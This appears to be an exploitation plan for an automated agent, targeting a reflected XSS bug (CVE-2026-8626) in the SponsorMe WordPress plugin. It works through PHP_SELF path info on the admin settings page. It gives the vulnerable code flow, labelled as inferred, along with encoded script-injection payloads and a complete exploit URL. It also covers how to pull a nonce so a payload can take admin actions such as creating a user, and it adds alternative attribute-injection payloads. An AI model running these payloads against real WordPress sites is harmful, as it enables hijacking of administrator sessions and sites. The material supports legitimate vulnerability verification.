Exploitation Research Plan: CVE-2026-8626 (SponsorMe <= 0.5.2)

1. Vulnerability Summary

The SponsorMe plugin for WordPress (up to version 0.5.2) is vulnerable to Reflected Cross-Site Scripting (XSS). The vulnerability exists because the plugin directly echoes the PHP_SELF server variable within an administrative page without applying proper escaping (e.g., esc_url() or esc_attr()).

In many PHP environments, $_SERVER['PHP_SELF'] includes the "Path Info" portion of a URL. An attacker can append arbitrary HTML and JavaScript to the URL path. When the plugin renders its admin settings page, this payload is reflected into a form's action attribute and an anchor's href attribute, leading to script execution in the context of the victim's browser.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin.php
• Vulnerable Parameter: URL Path Info (appended to admin.php).
• Required Parameter: The page query parameter must point to the SponsorMe settings page (e.g., ?page=sponsorme).
• Authentication: Requires a logged-in user with permission to access the plugin's admin menu (typically manage_options for Administrators).
• Preconditions: The plugin must be active.

3. Code Flow (Inferred)

1. Entry Point: An administrator navigates to the SponsorMe settings page via /wp-admin/admin.php?page=sponsorme.
2. Routing: WordPress loads the menu callback function registered by SponsorMe (likely via add_menu_page or add_options_page).
3. Vulnerable Function: The callback function (e.g., sponsorme_settings_page() (inferred)) prepares the HTML for the settings interface.
4. The Sink:
   • The code contains a line similar to: <form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>?page=sponsorme"> (inferred).
   • Or: <a href="<?php echo $_SERVER['PHP_SELF']; ?>?action=delete..."> (inferred).
5. Reflection: Because $_SERVER['PHP_SELF'] is not passed through esc_url(), the appended path info is rendered raw in the HTML response.

4. Nonce Acquisition Strategy

This is a Reflected XSS vulnerability. The goal is to execute JavaScript in the victim's browser.

• Do we need a nonce to trigger the XSS? No. The vulnerability occurs during the GET request that renders the page. The reflection happens regardless of whether a nonce is present.
• Do we need a nonce for the payload impact? If the XSS payload is designed to perform a sensitive action (like creating a new admin), that action will require a nonce.

Acquisition for Payload Impact (if needed):
If the payload needs to perform a CSRF-protected action (e.g., creating a user), the execution agent should:

1. Navigate to the target admin page.
2. Use browser_eval to extract the necessary nonce:
   • browser_eval("document.querySelector('#_wpnonce_create-user')?.value")

5. Exploitation Strategy

The exploit involves crafting a URL that breaks out of the HTML attributes where PHP_SELF is reflected.

Step-by-Step Plan:

1. Identify the Page Slug: Determine the exact page parameter used by SponsorMe. We will check the admin menu via WP-CLI.
2. Craft the Payload:
   • Since the reflection is inside an action attribute: action="/wp-admin/admin.php/[PAYLOAD]?page=sponsorme"
   • Payload: "/><script>alert(document.domain)</script><"
   • Encoded Payload: %22%2F%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E%3C
3. Construct the Final URL:
   http://[target]/wp-admin/admin.php/%22%2F%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E%3C?page=sponsorme
4. Execute via Browser: Use the browser_navigate tool to visit the URL as a logged-in administrator.

6. Test Data Setup

1. Install Plugin: wp plugin install sponsorme --version=0.5.2 --activate
2. Verify Admin Slug:
   wp menu list (or check wp-admin manually) to confirm the page slug is sponsorme (inferred).
3. Ensure Admin Access: Use a standard administrator account for the browser session.

7. Expected Results

• The server response will contain the literal string: <form ... action="/wp-admin/admin.php/"><script>alert(document.domain)</script><?page=sponsorme" ...>
• The browser will interpret the </form> tag, closing the current form context.
• The browser will then encounter and execute the <script> tag.
• An alert box showing the document domain will appear.

8. Verification Steps

After the browser_navigate call:

1. Console Logs: Check browser_console_logs for any script execution evidence or errors.
2. Source Inspection: Use http_request to fetch the same URL and grep for the payload to confirm reflection.

   # Note: Use the cookie from the logged-in session
   http_request(url=".../wp-admin/admin.php/%22%2F%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E%3C?page=sponsorme")
   

3. DOM Verification: Use browser_eval("document.body.innerHTML.includes('alert(document.domain)')").

9. Alternative Approaches

If the PHP_SELF reflection is inside an href attribute of an <a> tag:

• Payload: "/onmouseover="alert(1)"
• Mechanism: This injects a new attribute rather than a new tag. The agent would then need to simulate a mouse movement over the injected link using browser_mouse_move.

If the reflection is specifically within a value attribute of a hidden input:

• Payload: "><script>alert(1)</script>